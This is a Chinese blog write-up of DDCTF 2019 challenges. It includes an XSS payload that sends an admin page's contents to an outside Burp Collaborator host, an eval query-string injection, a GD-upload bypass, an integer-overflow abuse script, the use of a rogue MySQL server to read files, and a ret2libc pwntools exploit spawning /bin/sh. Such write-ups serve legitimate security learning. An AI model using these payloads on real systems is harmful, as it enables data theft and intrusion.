DDCTF2019-WRITEUP

原创

郁离歌 于 2019-05-04 21:04:09 发布 2305 收藏 1
分类专栏： CTF-WRITE-UP 文章标签： ddctf2019 web misc

本文链接：https://blog.csdn.net/like98k/article/details/89817904

WEB

滴~

进去之后就看到url一串base64，解两次是flag.jpg，明显文件读取，读一下index.php，发现居然给了博客。这是恶意引流吧，服了。在出题人博客里面找到.practice.txt.swp，然鹅.practice.txt.swp404了,而practice.txt.swp却能访问？？？佛了。
内容是f1ag!ddctf.php,然后在index.php的源码里面发现他将config替换为了感叹号，再读取f1agconfigddctf.php源码,一个变量覆盖的原题拿到flag。
不得不吐槽一下这种题目拿出来放ddctf真的降低自己品牌力了。

WEB 签到题

加个头进去看源码，然后发现有sprintf可以格式化字符串漏洞拿到key，就可以进行反序列化了，先访问一下session.php再拿到sessionid和ip就可以反序列化了。利用链毫无逻辑...

Upload-IMG

测了半天是gd二次渲染，没新意。上传图片-》下载图片-》加入payload-》再上传弹flag。
参考文章：https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg
注意改的规则就行了。The place to be put PHP backdoor is right after the Scan Header (00 0C 03 01 00 02 11 03 11 00 3F 00).
把payload放这个之后就行了。

homebrew event loop

flask写的源码，看了比较久其实关键函数就几个 `if session['num_items'] >= 5` 的话，flag就在session里面。关键是如何去绕过数量的问题，根据题目名字的话应该是调用自己循环来绕过数量就ok。发现确实存在一个逻辑漏洞。
根据题目名字的话应该是要循环调用自己去买宝石，然后就可以拿flag。

```
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()
```

这是程序的入口处，先调用了trigger_event将要执行的函数传进队列，但是也只能执行一次，如果将自己传入队列的话，就可以调用多个函数了。

然后进入到execute_event_loop函数。

```
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
```

action的话会直接返回第一个;之后的内容
参数这里用#做了一下分割，并返回一个列表到args里

```
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
```

这里有一个任意函数调用。action传入之后会有一个后缀拼接，但是可以直接用#绕过，因为是eval执行的，eval会把这个字符串当作python代码执行，所以后缀就绕过了。所以可以action,trigger_event#;来调用自己绕过后缀拼接。从而执行多个函数
`payload:?action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23`

欢迎报名DDCTF

这题也是真的佛，入口都想了半天，扫目录扫到一个login.php的游客登陆，无论输入什么都是waf，在报名处测了半天注入，发现content没有长度限制。一直在看那个返回的1和-1.佛。后来测了一下xss打远程，发现可以收到信息`<img src=ip:port>`，在refer里面看到admin.php,挺奇怪的不知道为什么没有扫到。
然后直接xss访问admin.php，发现收不到请求，这里卡了半天。后来又发现可以加载外部js，直接绕过了。

```
var xhr = new XMLHttpRequest();
      xhr.onreadystatechange = function() {
        if (xhr.readyState === 4) {
          var xhr2 = new XMLHttpRequest();
          xhr2.open("POST", "http://XXXX.burpcollaborator.net/");
          xhr2.send(xhr.responseText);
        }
      }
      xhr.open("GET", "http://117.51.147.2/Ze02pQYLf5gGNyMn/admin.php");
      xhr.withCredentials = true;
      xhr.send();
```

然后script标签加载执行即可，然后收到了一个接口地址，再用js去访问了一下，发现和直接访问是没差别的。直接测注入，怎么都是没回显。后来放了提示还是注入，就想起来测宽字节，发现真尼玛是宽字节，好坑...然后直接union就能拿flag。

大吉大利,今晚吃鸡~

这题一堆bug，测到输入一个大数会四舍五入进位，非常蠢，我现在都不知道这个bug要干嘛。然后可以任意用户登陆，注册那里如果输入了已经注册的用户名会返回那个用户的cookie，直接拿cookie就能登陆了，不知道和题目有什么关系。
最后fuzz到输入2**32+1在支付时比较溢出为0，可以买票进入游戏。进去之后发现要输入id和ticket才能踢人。试着踢了一下自己发现gg。那么思路就很清晰了，写脚本自动踢人。本来以为很快的。结果跑到半夜三点多才吃鸡。太真实了，人数越少的时候越激烈越难吃鸡。头秃。

```
#!/usr/bin/env python
# encoding: utf-8
import re
import requests
import time
import json
def removerobots(id,ticket):
        url="117.51.147.155:5050/ctf/api/remove_robot?id=%s&ticket=%s" %id,ticket
        headers={
        "User-Agent" :"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/7
3.0.3683.75 Safari/537.36",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh - CN, zh;q = 0.9",
        "Cookie": "user_name = yulige;REVEL_SESSION=000571815de5a0c31c3fae2fef2be4c7"
        }
        a=requests.get(url=url,headers=headers)
        if "200" in a.text:
                print "bot succes!"

def main():
        for i in range(100):
                url="http://117.51.147.155:5050/ctf/api/register?name=asdasdasdasdasdsadasd%s&password=like01lik
e" % str(i)
                headers = {
                        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
 Gecko) Chrome/73.0.3683.75 Safari/537.36",
                        "Accept-Encoding": "gzip, deflate",
                        "Accept-Language": "zh - CN, zh;q = 0.9"
                }
                a=requests.get(url=url,headers=headers)
                print a.text
                if "200" in a.text:
                        print "reg  ok!"
                        cookie=login(i)
                        print cookie
                        id,ticket=buyandpayticket(cookie)
                        removerobots(id,ticket)

def login(i):
        url = "http://117.51.147.155:5050/ctf/api/login?name=%s&password=like01like" % str(i)
        headers = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.75 Safari/537.36",
                "Accept-Encoding": "gzip, deflate",
                "Accept-Language": "zh - CN, zh;q = 0.9"
        }
        a = requests.get(url=url, headers=headers)
        if "200" in a.text:
                print "login  ok!"
                return a.headers['Set-Cookie'].replace(" Path=/, ", "").replace("; Path=/", "")


def buyandpayticket(cookie):
```

```
        url = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296"
        a = requests.get(url, headers=cookie)
        bill_id = a.json()['data'][0]['bill_id']
        url1 = "http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s" % bill_id
        b = requests.get(url1, headers=cookie)
        c = b.json()['data'][0]
        return str(c['your_id']), c['your_ticket']
if __name__ == '__main__':
        main()
```

mysql弱口令

这道题也想了半天，后来才想到mysql的 LOAD DATA 读取客户端任意文件 需要改的配置是Process_name写mysqld，端口写3306

网上有直接现成的脚本能用https://github.com/allyshka/Rogue-MySql-Server
在agent.py部署好之后，在题目环境写ip和端口开始扫描，即建立连接。
然后跑rogue的脚本，就可以任意文件读取了，读了一些敏感文件，发现在~/.mysql_history里面有flag。

REVERSE

Windows Reverse1

upx脱壳机脱壳后，发现代码逻辑，在0x401000处是加密函数，看了一下是一个单表替换，这里采用带壳调试的方法，断点下在0x401000处，输入后程序断下，dump内存拿到表，直接逆运算。

Windows Reverse2

asp脱壳后，对代码逆向，发现将输入b16decode后，进入一个很明显的base64encode。
其中对表加密了，但是转存后其实就是原生b64，最后和字符串reverse+进行比较，所以直接对reverse+ b64dec后hex编码就好

Confused

打log发现vm在实现一个rot2,直接将待比较的值取出进行rot2运算即可

```
opcode = [  0xF0, 0x10, 0x66, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x30, 0xF6,
  0xC1, 0xF0, 0x10, 0x63, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x31,
  0xF6, 0xB6, 0xF0, 0x10, 0x6A, 0x00, 0x00, 0x00, 0xF8, 0xF2,
  0x32, 0xF6, 0xAB, 0xF0, 0x10, 0x6A, 0x00, 0x00, 0x00, 0xF8,
  0xF2, 0x33, 0xF6, 0xA0, 0xF0, 0x10, 0x6D, 0x00, 0x00, 0x00,
  0xF8, 0xF2, 0x34, 0xF6, 0x95, 0xF0, 0x10, 0x57, 0x00, 0x00,
  0x00, 0xF8, 0xF2, 0x35, 0xF6, 0x8A, 0xF0, 0x10, 0x6D, 0x00,
  0x00, 0x00, 0xF8, 0xF2, 0x36, 0xF6, 0x7F, 0xF0, 0x10, 0x73,
  0x00, 0x00, 0x00, 0xF8, 0xF2, 0x37, 0xF6, 0x74, 0xF0, 0x10,
  0x45, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x38, 0xF6, 0x69, 0xF0,
  0x10, 0x6D, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x39, 0xF6, 0x5E,
  0xF0, 0x10, 0x72, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x3A, 0xF6,
  0x53, 0xF0, 0x10, 0x52, 0x00, 0x00, 0x00, 0xF8, 0xF2, 0x3B,
  0xF6, 0x48, 0xF0, 0x10, 0x66, 0x00, 0x00, 0x00, 0xF8, 0xF2,
  0x3C, 0xF6, 0x3D, 0xF0, 0x10, 0x63, 0x00, 0x00, 0x00, 0xF8,
  0xF2, 0x3D, 0xF6, 0x32, 0xF0, 0x10, 0x44, 0x00, 0x00, 0x00,
  0xF8, 0xF2, 0x3E, 0xF6, 0x27, 0xF0, 0x10, 0x6A, 0x00, 0x00,
  0x00, 0xF8, 0xF2, 0x3F, 0xF6, 0x1C, 0xF0, 0x10, 0x79, 0x00,
  0x00, 0x00, 0xF8, 0xF2, 0x40, 0xF6, 0x11, 0xF0, 0x10, 0x65,
```

```
  0x00, 0x00, 0x00, 0xF8, 0xF2, 0x41, 0xF6, 0x06, 0xF7, 0x01,
  0x00, 0x00, 0x00, 0xF3, 0xF7, 0x00, 0x00, 0x00, 0x00, 0xF3,
  0x5D, 0xC3, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00]

ip = 0
flagg = ""
while 1:
    if opcode[ip] == 0xf0:
        reg = opcode[ip + 1]
        v2 = opcode[ip + 2] | opcode[ip + 3] << 8| opcode[ip + 4] << 16| opcode[ip + 5] << 24
        v2 = v2 & 0xffffffff
        if reg == 16:
            print "mov eax,%d"%v2
            flagg += chr(v2)
        elif reg == 17:
            print "mov ebx,%d"%v2
        elif reg == 18:
            print "mov ecx,%d"%v2
        elif reg == 19:
            print "mov edx,%d"%v2
        elif reg == 20:
            print "mov eax,stack[%d]"
        ip += 6
    elif opcode[ip] == 0xf1:
        print "xor eax,ebx"
        ip += 1
    elif opcode[ip] == 0xf2:
        print "cmp eax,stack[%d]"%opcode[ip + 1]
        ip += 2
    elif opcode[ip] == 0xf4:
        print "add eax,ebx"
        ip += 1
    elif opcode[ip] == 0xf5:
        print "sub eax,ebx"
        ip += 1
    elif opcode[ip] == 0xf3:
        print "ret"
        print flagg
        exit(0)
    elif opcode[ip] == 0xf6:
        print "jnz .+%d"%opcode[ip + 1]
        ip += 2
    elif opcode[ip] == 0xf7:
        v2 = opcode[ip + 2] | opcode[ip + 3] << 8| opcode[ip + 4] << 16| opcode[ip + 5] << 24
        v2 = v2 & 0xffffffff
        print "flags = %d"%v2
        ip += 5
    elif opcode[ip] == 0xf8:
        print "kaisa eax,2"
        ip += 1
    else:
        print "invail"
```

MISC

真-签到题

公告里面有

北京地铁

脑洞题，不过还是被我做出来了，不知道为什么做出的时候特别骄傲…
提示：AES ECB密钥为小写字母
提示2：密钥不足位用\0补全
提示3：不要光记得隐写不看图片本身啊…
提示比较重要。
拿到的是bmp图片，然后用stegsolve跑一遍，发现在rgb通道有信息。提示说是aescbc，但是没有key。在图片里面各种脑洞大开的隐写都试过了不行。提示好像全是为了key…足以说明多难找了，他说要看本身，那key就在图像表面了，为此我还找了网上最新的地铁图来对比，然而变化有点大，这张图不知道是什么时候的图了。
没思路，脑洞尝试密钥为`beijingditie\x00\x00\x00\x00`然而并不对。
人肉fuzz，发现魏公村这个地铁站特别标蓝了，再三确认是人为标蓝的，同时也发现角门东是白色。尝试`weigongcun\x00\x00\x00\x00\x00\x00`解一下就出flag了。

MulTzor

脑洞题，做了很多尝试之后开始爆破异或密钥长度。用xortool跑出来两个key
用第一个"\x18\x8d\xea\x95<9"，然后异或就出了flag。

[PWN] strike

https://www.pwndiary.com/write-ups/hxp-ctf-2017-babyish-write-up-pwn100/
发现一个挺像的题…佛了。
无符号数栈溢出。
发现sub_80485DB这个函数里面可以写0x40字节。可以用printf leak、ebp和libcbase
然后存在一个整形溢出，输入-1就可以写无限长度。最后溢出ret，然后用leak的libcbase，算出system 和binsh字符串的地址，打一个ret2libc。

```
from pwn import *
r = process("./xpwn")
libc = ELF("/lib/i386-linux-gnu/libc-2.27.so")
r.sendafter("username: ","a" * 0x40)
r.recvuntil("a"*0x40)
lbase = (u32(r.recv(4))) - 1936768
log.success("libcbase:0x%x"%lbase)
sys = lbase + libc.symbols['system']
log.success("sysadd:0x%x"%sys)
binsh = lbase + libc.search("/bin/sh").next()
log.success("bin:0x%x"%binsh)
#print "%x"%(u32(lbase + 0x)
r.recv(4)
s = r.recv(4)
ebp = u32(s) + 24
log.success("0x%x"%ebp)
r.recvuntil("password: ")
r.sendline("-1")
payload = "a"*(0x4c + 4 - 12) + p32(ebp)*3 + "b" * 16
payload += p32(sys) + p32(0xdeadbeef) + p32(binsh)
r.recvuntil("): ")
#gdb.attach(r,"b * 0x804873A")
#raw_input()
r.send(payload)
r.interactive()
```

Wireshark

挺小的流量包，套路导出一下http对象，发现
可以看到先是用在线网址进行加密，然后有两张图片，以及两张图片的图床地址。
将两张图片导出。一张是美女的图片，比较大，另外是一张图片的图片，可以在winhex里面看到有p图软件处理的痕迹，就尝试一下改高度，发现了key。
而在线网址的解密是需要key的，用在线网址将美女图解密拿到的字符串再转ascii得 flag。

联盟决策大会

题目里面提示了是Shamir，搜了一下发现是https://blog.mythsman.com/2015/10/07/2/
文章里面说：由矩阵乘法或者Lagrange插值法均可求的a0即为明文s
自己搞了半天，最后去搜了一下拉格朗日插值法的python实现：
https://blog.mythsman.com/2015/10/07/2/
直接拿里面的脚本来用。求三次拉格朗日。124一次，345一次，两个合起来一次。就出了flag。